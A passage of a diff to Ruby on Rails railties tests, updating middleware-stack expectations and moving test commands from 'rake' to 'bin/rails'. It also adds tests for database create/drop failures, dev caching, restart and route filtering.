a/railties/test/application/middleware_test.rb +++ b/railties/test/application/middleware_test.rb @@ -26,7 +26,7 @@ module ApplicationTests assert_equal [ "Rack::Sendfile", "ActionDispatch::Static", - "Rack::Lock", + "ActionDispatch::Executor", "ActiveSupport::Cache::Strategy::LocalCache", "Rack::Runtime", "Rack::MethodOverride", @@ -38,12 +38,33 @@ module ApplicationTests "ActionDispatch::Reloader", "ActionDispatch::Callbacks", "ActiveRecord::Migration::CheckPending", - "ActiveRecord::ConnectionAdapters::ConnectionManagement", - "ActiveRecord::QueryCache", "ActionDispatch::Cookies", "ActionDispatch::Session::CookieStore", "ActionDispatch::Flash", - "ActionDispatch::ParamsParser", + "Rack::Head", + "Rack::ConditionalGet", + "Rack::ETag" + ], middleware + end + + test "api middleware stack" do + add_to_config "config.api_only = true" + + boot! + + assert_equal [ + "Rack::Sendfile", + "ActionDispatch::Static", + "ActionDispatch::Executor", + "ActiveSupport::Cache::Strategy::LocalCache", + "Rack::Runtime", + "ActionDispatch::RequestId", + "Rails::Rack::Logger", # must come after Rack::MethodOverride to properly log overridden methods + "ActionDispatch::ShowExceptions", + "ActionDispatch::DebugExceptions", + "ActionDispatch::RemoteIp", + "ActionDispatch::Reloader", + "ActionDispatch::Callbacks", "Rack::Head", "Rack::ConditionalGet", "Rack::ETag" @@ -89,32 +110,35 @@ module ApplicationTests test "removing Active Record omits its middleware" do use_frameworks [] boot! - assert !middleware.include?("ActiveRecord::ConnectionAdapters::ConnectionManagement") - assert !middleware.include?("ActiveRecord::QueryCache") assert !middleware.include?("ActiveRecord::Migration::CheckPending") end - test "includes lock if cache_classes is set but eager_load is not" do - add_to_config "config.cache_classes = true" + test "includes executor" do boot! - assert middleware.include?("Rack::Lock") + assert_includes middleware, "ActionDispatch::Executor" end test "does not include lock if cache_classes is set and so is eager_load" do add_to_config "config.cache_classes = true" add_to_config "config.eager_load = true" boot! - assert !middleware.include?("Rack::Lock") + assert_not_includes middleware, "Rack::Lock" + end + + test "does not include lock if allow_concurrency is set to :unsafe" do + add_to_config "config.allow_concurrency = :unsafe" + boot! + assert_not_includes middleware, "Rack::Lock" end - test "does not include lock if allow_concurrency is set" do - add_to_config "config.allow_concurrency = true" + test "includes lock if allow_concurrency is disabled" do + add_to_config "config.allow_concurrency = false" boot! - assert !middleware.include?("Rack::Lock") + assert_includes middleware, "Rack::Lock" end - test "removes static asset server if serve_static_files is disabled" do - add_to_config "config.serve_static_files = false" + test "removes static asset server if public_file_server.enabled is disabled" do + add_to_config "config.public_file_server.enabled = false" boot! assert !middleware.include?("ActionDispatch::Static") end @@ -211,7 +235,7 @@ module ApplicationTests end end - etag = "W/" + "5af83e3196bf99f440f31f2e1a6c9afe".inspect + etag = "W/" + "c00862d1c6c1cf7c1b49388306e7b3c1".inspect get "/" assert_equal 200, last_response.status diff --git a/railties/test/application/multiple_applications_test.rb b/railties/test/application/multiple_applications_test.rb index cddc79cc85..f2770a9cb4 100644 --- a/railties/test/application/multiple_applications_test.rb +++ b/railties/test/application/multiple_applications_test.rb @@ -118,7 +118,7 @@ module ApplicationTests assert_equal 0, run_count, "Without loading the initializers, the count should be 0" # Set config.eager_load to false so that an eager_load warning doesn't pop up - AppTemplate::Application.new { config.eager_load = false }.initialize! + AppTemplate::Application.create { config.eager_load = false }.initialize! assert_equal 3, run_count, "There should have been three initializers that incremented the count" end diff --git a/railties/test/application/per_request_digest_cache_test.rb b/railties/test/application/per_request_digest_cache_test.rb new file mode 100644 index 0000000000..dfe3fc9354 --- /dev/null +++ b/railties/test/application/per_request_digest_cache_test.rb @@ -0,0 +1,66 @@ +require 'isolation/abstract_unit' +require 'rack/test' +require 'minitest/mock' + +require 'action_view' +require 'active_support/testing/method_call_assertions' + +class PerRequestDigestCacheTest < ActiveSupport::TestCase + include ActiveSupport::Testing::Isolation + include ActiveSupport::Testing::MethodCallAssertions + include Rack::Test::Methods + + setup do + build_app + add_to_config 'config.consider_all_requests_local = true' + + app_file 'app/models/customer.rb', <<-RUBY + class Customer < Struct.new(:name, :id) + extend ActiveModel::Naming + include ActiveModel::Conversion + end + RUBY + + app_file 'config/routes.rb', <<-RUBY + Rails.application.routes.draw do + resources :customers, only: :index + end + RUBY + + app_file 'app/controllers/customers_controller.rb', <<-RUBY + class CustomersController < ApplicationController + self.perform_caching = true + + def index + render [ Customer.new('david', 1), Customer.new('dingus', 2) ] + end + end + RUBY + + app_file 'app/views/customers/_customer.html.erb', <<-RUBY + <% cache customer do %> + <%= customer.name %> + <% end %> + RUBY + + require "#{app_path}/config/environment" + end + + teardown :teardown_app + + test "digests are reused when rendering the same template twice" do + get '/customers' + assert_equal 200, last_response.status + + values = ActionView::LookupContext::DetailsKey.digest_caches.first.values + assert_equal [ '8ba099b7749542fe765ff34a6824d548' ], values + assert_equal %w(david dingus), last_response.body.split.map(&:strip) + end + + test "template digests are cleared before a request" do + assert_called(ActionView::LookupContext::DetailsKey, :clear) do + get '/customers' + assert_equal 200, last_response.status + end + end +end diff --git a/railties/test/application/rake/dbs_test.rb b/railties/test/application/rake/dbs_test.rb index c414732f92..cee9db5535 100644 --- a/railties/test/application/rake/dbs_test.rb +++ b/railties/test/application/rake/dbs_test.rb @@ -28,12 +28,12 @@ module ApplicationTests def db_create_and_drop(expected_database) Dir.chdir(app_path) do - output = `bundle exec rake db:create` - assert_empty output + output = `bin/rails db:create` + assert_match(/Created database/, output) assert File.exist?(expected_database) assert_equal expected_database, ActiveRecord::Base.connection_config[:database] - output = `bundle exec rake db:drop` - assert_empty output + output = `bin/rails db:drop` + assert_match(/Dropped database/, output) assert !File.exist?(expected_database) end end @@ -49,11 +49,63 @@ module ApplicationTests db_create_and_drop database_url_db_name end + def with_database_existing + Dir.chdir(app_path) do + set_database_url + `bin/rails db:create` + yield + `bin/rails db:drop` + end + end + + test 'db:create failure because database exists' do + with_database_existing do + output = `bin/rails db:create 2>&1` + assert_match(/already exists/, output) + assert_equal 0, $?.exitstatus + end + end + + def with_bad_permissions + Dir.chdir(app_path) do + set_database_url + FileUtils.chmod("-w", "db") + yield + FileUtils.chmod("+w", "db") + end + end + + test 'db:create failure because bad permissions' do + with_bad_permissions do + output = `bin/rails db:create 2>&1` + assert_match(/Couldn't create database/, output) + assert_equal 1, $?.exitstatus + end + end + + test 'db:drop failure because database does not exist' do + Dir.chdir(app_path) do + output = `bin/rails db:drop:_unsafe --trace 2>&1` + assert_match(/does not exist/, output) + assert_equal 0, $?.exitstatus + end + end + + test 'db:drop failure because bad permissions' do + with_database_existing do + with_bad_permissions do + output = `bin/rails db:drop 2>&1` + assert_match(/Couldn't drop/, output) + assert_equal 1, $?.exitstatus + end + end + end + def db_migrate_and_status(expected_database) Dir.chdir(app_path) do - `rails generate model book title:string; - bundle exec rake db:migrate` - output = `bundle exec rake db:migrate:status` + `bin/rails generate model book title:string; + bin/rails db:migrate` + output = `bin/rails db:migrate:status` assert_match(%r{database:\s+\S*#{Regexp.escape(expected_database)}}, output) assert_match(/up\s+\d{14}\s+Create books/, output) end @@ -72,8 +124,8 @@ module ApplicationTests def db_schema_dump Dir.chdir(app_path) do - `rails generate model book title:string; - rake db:migrate db:schema:dump` + `bin/rails generate model book title:string; + bin/rails db:migrate db:schema:dump` schema_dump = File.read("db/schema.rb") assert_match(/create_table \"books\"/, schema_dump) end @@ -90,8 +142,8 @@ module ApplicationTests def db_fixtures_load(expected_database) Dir.chdir(app_path) do - `rails generate model book title:string; - bundle exec rake db:migrate db:fixtures:load` + `bin/rails generate model book title:string; + bin/rails db:migrate db:fixtures:load` assert_match expected_database, ActiveRecord::Base.connection_config[:database] require "#{app_path}/app/models/book" assert_equal 2, Book.count @@ -112,8 +164,8 @@ module ApplicationTests test 'db:fixtures:load with namespaced fixture' do require "#{app_path}/config/environment" Dir.chdir(app_path) do - `rails generate model admin::book title:string; - bundle exec rake db:migrate db:fixtures:load` + `bin/rails generate model admin::book title:string; + bin/rails db:migrate db:fixtures:load` require "#{app_path}/app/models/admin/book" assert_equal 2, Admin::Book.count end @@ -121,11 +173,11 @@ module ApplicationTests def db_structure_dump_and_load(expected_database) Dir.chdir(app_path) do - `rails generate model book title:string; - bundle exec rake db:migrate db:structure:dump` + `bin/rails generate model book title:string; + bin/rails db:migrate db:structure:dump` structure_dump = File.read("db/structure.sql") assert_match(/CREATE TABLE \"books\"/, structure_dump) - `bundle exec rake environment db:drop db:structure:load` + `bin/rails environment db:drop db:structure:load` assert_match expected_database, ActiveRecord::Base.connection_config[:database] require "#{app_path}/app/models/book" #if structure is not loaded correctly, exception would be raised @@ -147,9 +199,9 @@ module ApplicationTests test 'db:structure:dump does not dump schema information when no migrations are used' do Dir.chdir(app_path) do # create table without migrations - `bundle exec rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'` + `bin/rails runner 'ActiveRecord::Base.connection.create_table(:posts) {|t| t.string :title }'` - stderr_output = capture(:stderr) { `bundle exec rake db:structure:dump` } + stderr_output = capture(:stderr) { `bin/rails db:structure:dump` } assert_empty stderr_output structure_dump = File.read("db/structure.sql") assert_match(/CREATE TABLE \"posts\"/, structure_dump) @@ -169,22 +221,50 @@ module ApplicationTests list_tables = lambda { `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip } assert_equal '["posts"]', list_tables[] - `bin/rake db:schema:load` - assert_equal '["posts", "comments", "schema_migrations"]', list_tables[] + `bin/rails db:schema:load` + assert_equal '["posts", "comments", "schema_migrations", "ar_internal_metadata"]', list_tables[] app_file 'db/structure.sql', <<-SQL CREATE TABLE "users" ("id" INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, "name" varchar(255)); SQL - `bin/rake db:structure:load` - assert_equal '["posts", "comments", "schema_migrations", "users"]', list_tables[] + `bin/rails db:structure:load` + assert_equal '["posts", "comments", "schema_migrations", "ar_internal_metadata", "users"]', list_tables[] + end + end + + test "db:schema:load with inflections" do + Dir.chdir(app_path) do + app_file 'config/initializers/inflection.rb', <<-RUBY + ActiveSupport::Inflector.inflections do |inflect| + inflect.irregular 'goose', 'geese' + end + RUBY + app_file 'config/initializers/primary_key_table_name.rb', <<-RUBY + ActiveRecord::Base.primary_key_prefix_type = :table_name + RUBY + app_file 'db/schema.rb', <<-RUBY + ActiveRecord::Schema.define(version: 20140423102712) do + create_table("goose".pluralize) do |t| + t.string :name + end + end + RUBY + + `bin/rails db:schema:load` + + tables = `bin/rails runner 'p ActiveRecord::Base.connection.tables'`.strip + assert_match(/"geese"/, tables) + + columns = `bin/rails runner 'p ActiveRecord::Base.connection.columns("geese").map(&:name)'`.strip + assert_equal columns, '["gooseid", "name"]' end end def db_test_load_structure Dir.chdir(app_path) do - `rails generate model book title:string; - bundle exec rake db:migrate db:structure:dump db:test:load_structure` + `bin/rails generate model book title:string; + bin/rails db:migrate db:structure:dump db:test:load_structure` ActiveRecord::Base.configurations = Rails.application.config.database_configuration ActiveRecord::Base.establish_connection :test require "#{app_path}/app/models/book" @@ -220,7 +300,7 @@ module ApplicationTests RUBY Dir.chdir(app_path) do - database_path = `bundle exec rake db:setup` + database_path = `bin/rails db:setup` assert_equal "development.sqlite3", File.basename(database_path.strip) end ensure diff --git a/railties/test/application/rake/dev_test.rb b/railties/test/application/rake/dev_test.rb new file mode 100644 index 0000000000..2330ad3535 --- /dev/null +++ b/railties/test/application/rake/dev_test.rb @@ -0,0 +1,43 @@ +require 'isolation/abstract_unit' + +module ApplicationTests + module RakeTests + class RakeDevTest < ActiveSupport::TestCase + include ActiveSupport::Testing::Isolation + + def setup + build_app + end + + def teardown + teardown_app + end + + test 'dev:cache creates file and outputs message' do + Dir.chdir(app_path) do + output = `rails dev:cache` + assert File.exist?('tmp/caching-dev.txt') + assert_match(/Development mode is now being cached/, output) + end + end + + test 'dev:cache deletes file and outputs message' do + Dir.chdir(app_path) do + `rails dev:cache` # Create caching file. + output = `rails dev:cache` # Delete caching file. + assert_not File.exist?('tmp/caching-dev.txt') + assert_match(/Development mode is no longer being cached/, output) + end + end + + test 'dev:cache removes server.pid also' do + Dir.chdir(app_path) do + FileUtils.mkdir_p("tmp/pids") + FileUtils.touch("tmp/pids/server.pid") + `rails dev:cache` + assert_not File.exist?("tmp/pids/server.pid") + end + end + end + end +end diff --git a/railties/test/application/rake/framework_test.rb b/railties/test/application/rake/framework_test.rb new file mode 100644 index 0000000000..ec57af79f6 --- /dev/null +++ b/railties/test/application/rake/framework_test.rb @@ -0,0 +1,48 @@ +require "isolation/abstract_unit" +require "active_support/core_ext/string/strip" + +module ApplicationTests + module RakeTests + class FrameworkTest < ActiveSupport::TestCase + include ActiveSupport::Testing::Isolation + + def setup + build_app + boot_rails + FileUtils.rm_rf("#{app_path}/config/environments") + end + + def teardown + teardown_app + end + + def load_tasks + require 'rake' + require 'rdoc/task' + require 'rake/testtask' + + Rails.application.load_tasks + end + + test 'requiring the rake task should not define method .app_generator on Object' do + require "#{app_path}/config/environment" + + load_tasks + + assert_raise NameError do + Object.method(:app_generator) + end + end + + test 'requiring the rake task should not define method .invoke_from_app_generator on Object' do + require "#{app_path}/config/environment" + + load_tasks + + assert_raise NameError do + Object.method(:invoke_from_app_generator) + end + end + end + end +end diff --git a/railties/test/application/rake/migrations_test.rb b/railties/test/application/rake/migrations_test.rb index a3819b93b2..7e2519ae5a 100644 --- a/railties/test/application/rake/migrations_test.rb +++ b/railties/test/application/rake/migrations_test.rb @@ -15,21 +15,21 @@ module ApplicationTests test 'running migrations with given scope' do Dir.chdir(app_path) do - `rails generate model user username:string password:string` + `bin/rails generate model user username:string password:string` app_file "db/migrate/01_a_migration.bukkits.rb", <<-MIGRATION - class AMigration < ActiveRecord::Migration + class AMigration < ActiveRecord::Migration::Current end MIGRATION - output = `rake db:migrate SCOPE=bukkits` + output = `bin/rails db:migrate SCOPE=bukkits` assert_no_match(/create_table\(:users\)/, output) assert_no_match(/CreateUsers/, output) assert_no_match(/add_column\(:users, :email, :string\)/, output) assert_match(/AMigration: migrated/, output) - output = `rake db:migrate SCOPE=bukkits VERSION=0` + output = `bin/rails db:migrate SCOPE=bukkits VERSION=0` assert_no_match(/drop_table\(:users\)/, output) assert_no_match(/CreateUsers/, output) assert_no_match(/remove_column\(:users, :email\)/, output) @@ -40,16 +40,16 @@ module ApplicationTests test 'model and migration generator with change syntax' do Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate migration add_email_to_users email:string` + `bin/rails generate model user username:string password:string; + bin/rails generate migration add_email_to_users email:string` - output = `rake db:migrate` + output = `bin/rails db:migrate` assert_match(/create_table\(:users\)/, output) assert_match(/CreateUsers: migrated/, output) assert_match(/add_column\(:users, :email, :string\)/, output) assert_match(/AddEmailToUsers: migrated/, output) - output = `rake db:rollback STEP=2` + output = `bin/rails db:rollback STEP=2` assert_match(/drop_table\(:users\)/, output) assert_match(/CreateUsers: reverted/, output) assert_match(/remove_column\(:users, :email, :string\)/, output) @@ -58,23 +58,23 @@ module ApplicationTests end test 'migration status when schema migrations table is not present' do - output = Dir.chdir(app_path){ `rake db:migrate:status 2>&1` } + output = Dir.chdir(app_path){ `bin/rails db:migrate:status 2>&1` } assert_equal "Schema migrations table does not exist yet.\n", output end test 'test migration status' do Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate migration add_email_to_users email:string; - rake db:migrate` + `bin/rails generate model user username:string password:string; + bin/rails generate migration add_email_to_users email:string; + bin/rails db:migrate` - output = `rake db:migrate:status` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{14}\s+Create users/, output) assert_match(/up\s+\d{14}\s+Add email to users/, output) - `rake db:rollback STEP=1` - output = `rake db:migrate:status` + `bin/rails db:rollback STEP=1` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{14}\s+Create users/, output) assert_match(/down\s+\d{14}\s+Add email to users/, output) @@ -85,17 +85,17 @@ module ApplicationTests add_to_config('config.active_record.timestamped_migrations = false') Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate migration add_email_to_users email:string; - rake db:migrate` + `bin/rails generate model user username:string password:string; + bin/rails generate migration add_email_to_users email:string; + bin/rails db:migrate` - output = `rake db:migrate:status` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{3,}\s+Create users/, output) assert_match(/up\s+\d{3,}\s+Add email to users/, output) - `rake db:rollback STEP=1` - output = `rake db:migrate:status` + `bin/rails db:rollback STEP=1` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{3,}\s+Create users/, output) assert_match(/down\s+\d{3,}\s+Add email to users/, output) @@ -104,23 +104,23 @@ module ApplicationTests test 'test migration status after rollback and redo' do Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate migration add_email_to_users email:string; - rake db:migrate` + `bin/rails generate model user username:string password:string; + bin/rails generate migration add_email_to_users email:string; + bin/rails db:migrate` - output = `rake db:migrate:status` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{14}\s+Create users/, output) assert_match(/up\s+\d{14}\s+Add email to users/, output) - `rake db:rollback STEP=2` - output = `rake db:migrate:status` + `bin/rails db:rollback STEP=2` + output = `bin/rails db:migrate:status` assert_match(/down\s+\d{14}\s+Create users/, output) assert_match(/down\s+\d{14}\s+Add email to users/, output) - `rake db:migrate:redo` - output = `rake db:migrate:status` + `bin/rails db:migrate:redo` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{14}\s+Create users/, output) assert_match(/up\s+\d{14}\s+Add email to users/, output) @@ -131,54 +131,78 @@ module ApplicationTests add_to_config('config.active_record.timestamped_migrations = false') Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate migration add_email_to_users email:string; - rake db:migrate` + `bin/rails generate model user username:string password:string; + bin/rails generate migration add_email_to_users email:string; + bin/rails db:migrate` - output = `rake db:migrate:status` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{3,}\s+Create users/, output) assert_match(/up\s+\d{3,}\s+Add email to users/, output) - `rake db:rollback STEP=2` - output = `rake db:migrate:status` + `bin/rails db:rollback STEP=2` + output = `bin/rails db:migrate:status` assert_match(/down\s+\d{3,}\s+Create users/, output) assert_match(/down\s+\d{3,}\s+Add email to users/, output) - `rake db:migrate:redo` - output = `rake db:migrate:status` + `bin/rails db:migrate:redo` + output = `bin/rails db:migrate:status` assert_match(/up\s+\d{3,}\s+Create users/, output) assert_match(/up\s+\d{3,}\s+Add email to users/, output) end end + test 'running migrations with not timestamp head migration files' do + Dir.chdir(app_path) do + + app_file "db/migrate/1_one_migration.rb", <<-MIGRATION + class OneMigration < ActiveRecord::Migration::Current + end + MIGRATION + + app_file "db/migrate/02_two_migration.rb", <<-MIGRATION + class TwoMigration < ActiveRecord::Migration::Current + end + MIGRATION + + `bin/rails db:migrate` + + output = `bin/rails db:migrate:status` + + assert_match(/up\s+001\s+One migration/, output) + assert_match(/up\s+002\s+Two migration/, output) + end + end + test 'schema generation when dump_schema_after_migration is set' do add_to_config('config.active_record.dump_schema_after_migration = false') Dir.chdir(app_path) do - `rails generate model book title:string; - bundle exec rake db:migrate` + `bin/rails generate model book title:string` + output = `bin/rails generate model author name:string` + version = output =~ %r{[^/]+db/migrate/(\d+)_create_authors\.rb} && $1 - assert !File.exist?("db/schema.rb") + `bin/rails db:migrate db:rollback db:forward db:migrate:up db:migrate:down VERSION=#{version}` + assert !File.exist?("db/schema.rb"), "should not dump schema when configured not to" end add_to_config('config.active_record.dump_schema_after_migration = true') Dir.chdir(app_path) do - `rails generate model author name:string; - bundle exec rake db:migrate` + `bin/rails generate model reviews book_id:integer` + `bin/rails db:migrate` structure_dump = File.read("db/schema.rb") - assert_match(/create_table "authors"/, structure_dump) + assert_match(/create_table "reviews"/, structure_dump) end end test 'default schema generation after migration' do Dir.chdir(app_path) do - `rails generate model book title:string; - bundle exec rake db:migrate` + `bin/rails generate model book title:string; + bin/rails db:migrate` structure_dump = File.read("db/schema.rb") assert_match(/create_table "books"/, structure_dump) @@ -187,12 +211,12 @@ module ApplicationTests test 'test migration status migrated file is deleted' do Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate migration add_email_to_users email:string; - rake db:migrate + `bin/rails generate model user username:string password:string; + bin/rails generate migration add_email_to_users email:string; + bin/rails db:migrate rm db/migrate/*email*.rb` - output = `rake db:migrate:status` + output = `bin/rails db:migrate:status` File.write('test.txt', output) assert_match(/up\s+\d{14}\s+Create users/, output) diff --git a/railties/test/application/rake/notes_test.rb b/railties/test/application/rake/notes_test.rb index 95087bf29f..50def9beb0 100644 --- a/railties/test/application/rake/notes_test.rb +++ b/railties/test/application/rake/notes_test.rb @@ -74,7 +74,7 @@ module ApplicationTests app_file "some_other_dir/blah.rb", "# TODO: note in some_other directory" - run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bundle exec rake notes" do |output, lines| + run_rake_notes "SOURCE_ANNOTATION_DIRECTORIES='some_other_dir' bin/rails notes" do |output, lines| assert_match(/note in app directory/, output) assert_match(/note in config directory/, output) assert_match(/note in db directory/, output) @@ -102,7 +102,7 @@ module ApplicationTests end EOS - run_rake_notes "bundle exec rake notes_custom" do |output, lines| + run_rake_notes "bin/rails notes_custom" do |output, lines| assert_match(/\[FIXME\] note in lib directory/, output) assert_match(/\[TODO\] note in test directory/, output) assert_no_match(/OPTIMIZE/, output) @@ -114,6 +114,7 @@ module ApplicationTests end test 'register a new extension' do + add_to_config "config.assets.precompile = []" add_to_config %q{ config.annotations.register_extensions("scss", "sass") { |annotation| /\/\/\s*(#{annotation}):?\s*(.*)$/ } } app_file "app/assets/stylesheets/application.css.scss", "// TODO: note in scss" app_file "app/assets/stylesheets/application.css.sass", "// TODO: note in sass" @@ -127,7 +128,7 @@ module ApplicationTests private - def run_rake_notes(command = 'bundle exec rake notes') + def run_rake_notes(command = 'bin/rails notes') boot_rails load_tasks diff --git a/railties/test/application/rake/restart_test.rb b/railties/test/application/rake/restart_test.rb index 35099913fb..30f662a9be 100644 --- a/railties/test/application/rake/restart_test.rb +++ b/railties/test/application/rake/restart_test.rb @@ -13,12 +13,12 @@ module ApplicationTests def teardown teardown_app end - + test 'rake restart touches tmp/restart.txt' do Dir.chdir(app_path) do `rake restart` assert File.exist?("tmp/restart.txt") - + prev_mtime = File.mtime("tmp/restart.txt") sleep(1) `rake restart` @@ -26,6 +26,23 @@ module ApplicationTests assert_not_equal prev_mtime, curr_mtime end end + + test 'rake restart should work even if tmp folder does not exist' do + Dir.chdir(app_path) do + FileUtils.remove_dir('tmp') + `rake restart` + assert File.exist?('tmp/restart.txt') + end + end + + test 'rake restart removes server.pid also' do + Dir.chdir(app_path) do + FileUtils.mkdir_p("tmp/pids") + FileUtils.touch("tmp/pids/server.pid") + `rake restart` + assert_not File.exist?("tmp/pids/server.pid") + end + end end end end diff --git a/railties/test/application/rake_test.rb b/railties/test/application/rake_test.rb index 2bff21dae5..acdb4e7d79 100644 --- a/railties/test/application/rake_test.rb +++ b/railties/test/application/rake_test.rb @@ -1,4 +1,3 @@ -# coding:utf-8 require "isolation/abstract_unit" require "active_support/core_ext/string/strip" @@ -25,6 +24,26 @@ module ApplicationTests assert $task_loaded end + test "task is protected when previous migration was production" do + Dir.chdir(app_path) do + output = `bin/rails generate model product name:string; + env RAILS_ENV=production bin/rails db:create db:migrate; + env RAILS_ENV=production bin/rails db:test:prepare test 2>&1` + + assert_match(/ActiveRecord::ProtectedEnvironmentError/, output) + end + end + + def test_not_protected_when_previous_migration_was_not_production + Dir.chdir(app_path) do + output = `bin/rails generate model product name:string; + env RAILS_ENV=test bin/rails db:create db:migrate; + env RAILS_ENV=test bin/rails db:test:prepare test 2>&1` + + refute_match(/ActiveRecord::ProtectedEnvironmentError/, output) + end + end + def test_environment_is_required_in_rake_tasks app_file "config/environment.rb", <<-RUBY SuperMiddleware = Struct.new(:app) @@ -36,7 +55,7 @@ module ApplicationTests Rails.application.initialize! RUBY - assert_match("SuperMiddleware", Dir.chdir(app_path){ `rake middleware` }) + assert_match("SuperMiddleware", Dir.chdir(app_path){ `bin/rails middleware` }) end def test_initializers_are_executed_in_rake_tasks @@ -51,7 +70,7 @@ module ApplicationTests end RUBY - output = Dir.chdir(app_path){ `rake do_nothing` } + output = Dir.chdir(app_path){ `bin/rails do_nothing` } assert_match "Doing something...", output end @@ -72,7 +91,7 @@ module ApplicationTests end RUBY - output = Dir.chdir(app_path) { `rake do_nothing` } + output = Dir.chdir(app_path) { `bin/rails do_nothing` } assert_match 'Hello world', output end @@ -93,28 +112,28 @@ module ApplicationTests RUBY Dir.chdir(app_path) do - assert system('rake do_nothing RAILS_ENV=production'), + assert system('bin/rails do_nothing RAILS_ENV=production'), 'should not be pre-required for rake even eager_load=true' end end def test_code_statistics_sanity - assert_match "Code LOC: 5 Test LOC: 0 Code to Test Ratio: 1:0.0", - Dir.chdir(app_path){ `rake stats` } + assert_match "Code LOC: 26 Test LOC: 0 Code to Test Ratio: 1:0.0", + Dir.chdir(app_path) { `bin/rails stats` } end - def test_rake_routes_calls_the_route_inspector + def test_rails_routes_calls_the_route_inspector app_file "config/routes.rb", <<-RUBY Rails.application.routes.draw do get '/cart', to: 'cart#show' end RUBY - output = Dir.chdir(app_path){ `rake routes` } + output = Dir.chdir(app_path){ `bin/rails routes` } assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output end - def test_rake_routes_with_controller_environment + def test_rails_routes_with_controller_environment app_file "config/routes.rb", <<-RUBY Rails.application.routes.draw do get '/cart', to: 'cart#show' @@ -122,18 +141,85 @@ module ApplicationTests end RUBY - ENV['CONTROLLER'] = 'cart' - output = Dir.chdir(app_path){ `rake routes` } + output = Dir.chdir(app_path){ `bin/rails routes CONTROLLER=cart` } + assert_equal ["Passing `CONTROLLER` to `bin/rails routes` is deprecated and will be removed in Rails 5.1.", + "Please use `bin/rails routes -c controller_name` instead.", + "Prefix Verb URI Pattern Controller#Action", + " cart GET /cart(.:format) cart#show\n"].join("\n"), output + + output = Dir.chdir(app_path){ `bin/rails routes -c cart` } assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output end - def test_rake_routes_displays_message_when_no_routes_are_defined + def test_rails_routes_with_namespaced_controller_environment app_file "config/routes.rb", <<-RUBY Rails.application.routes.draw do + namespace :admin do + resource :post + end end RUBY + expected_output = [" Prefix Verb URI Pattern Controller#Action", + " admin_post POST /admin/post(.:format) admin/posts#create", + " new_admin_post GET /admin/post/new(.:format) admin/posts#new", + "edit_admin_post GET /admin/post/edit(.:format) admin/posts#edit", + " GET /admin/post(.:format) admin/posts#show", + " PATCH /admin/post(.:format) admin/posts#update", + " PUT /admin/post(.:format) admin/posts#update", + " DELETE /admin/post(.:format) admin/posts#destroy\n"].join("\n") + + output = Dir.chdir(app_path){ `bin/rails routes -c Admin::PostController` } + assert_equal expected_output, output + + output = Dir.chdir(app_path){ `bin/rails routes -c PostController` } + assert_equal expected_output, output + end + + def test_rails_routes_with_global_search_key + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + get '/cart', to: 'cart#show' + post '/cart', to: 'cart#create' + get '/basketballs', to: 'basketball#index' + end + RUBY + + output = Dir.chdir(app_path){ `bin/rails routes -g show` } + assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output + + output = Dir.chdir(app_path){ `bin/rails routes -g POST` } + assert_equal "Prefix Verb URI Pattern Controller#Action\n POST /cart(.:format) cart#create\n", output + + output = Dir.chdir(app_path){ `bin/rails routes -g basketballs` } + assert_equal " Prefix Verb URI Pattern Controller#Action\n" \ + "basketballs GET /basketballs(.:format) basketball#index\n", output + end + + def test_rails_routes_with_controller_search_key + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + get '/cart', to: 'cart#show' + get '/basketball', to: 'basketball#index' + end + RUBY + + output = Dir.chdir(app_path){ `bin/rails routes -c cart` } + assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output - assert_equal <<-MESSAGE.strip_heredoc, Dir.chdir(app_path){ `rake routes` } + output = Dir.chdir(app_path){ `bin/rails routes -c Cart` } + assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output + + output = Dir.chdir(app_path){ `bin/rails routes -c CartController` } + assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output + end + + def test_rails_routes_displays_message_when_no_routes_are_defined + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + end + RUBY + + assert_equal <<-MESSAGE.strip_heredoc, Dir.chdir(app_path){ `bin/rails routes` } You don't have any routes defined! Please add some routes in config/routes.rb. @@ -142,6 +228,17 @@ module ApplicationTests MESSAGE end + def test_rake_routes_with_rake_options + app_file "config/routes.rb", <<-RUBY + Rails.application.routes.draw do + get '/cart', to: 'cart#show' + end + RUBY + + output = Dir.chdir(app_path){ `bin/rake --rakefile Rakefile routes` } + assert_equal "Prefix Verb URI Pattern Controller#Action\n cart GET /cart(.:format) cart#show\n", output + end + def test_logger_is_flushed_when_exiting_production_rake_tasks add_to_config <<-RUBY rake_tasks do @@ -151,21 +248,21 @@ module ApplicationTests end RUBY - output = Dir.chdir(app_path){ `rake log_something RAILS_ENV=production && cat log/production.log` } + output = Dir.chdir(app_path){ `bin/rails log_something RAILS_ENV=production && cat log/production.log` } assert_match "Sample log message", output end def test_loading_specific_fixtures Dir.chdir(app_path) do - `rails generate model user username:string password:string; - rails generate model product name:string; - rake db:migrate` + `bin/rails generate model user username:string password:string; + bin/rails generate model product name:string; + bin/rails db:migrate` end require "#{rails_root}/config/environment" # loading a specific fixture - errormsg = Dir.chdir(app_path) { `rake db:fixtures:load FIXTURES=products` } + errormsg = Dir.chdir(app_path) { `bin/rails 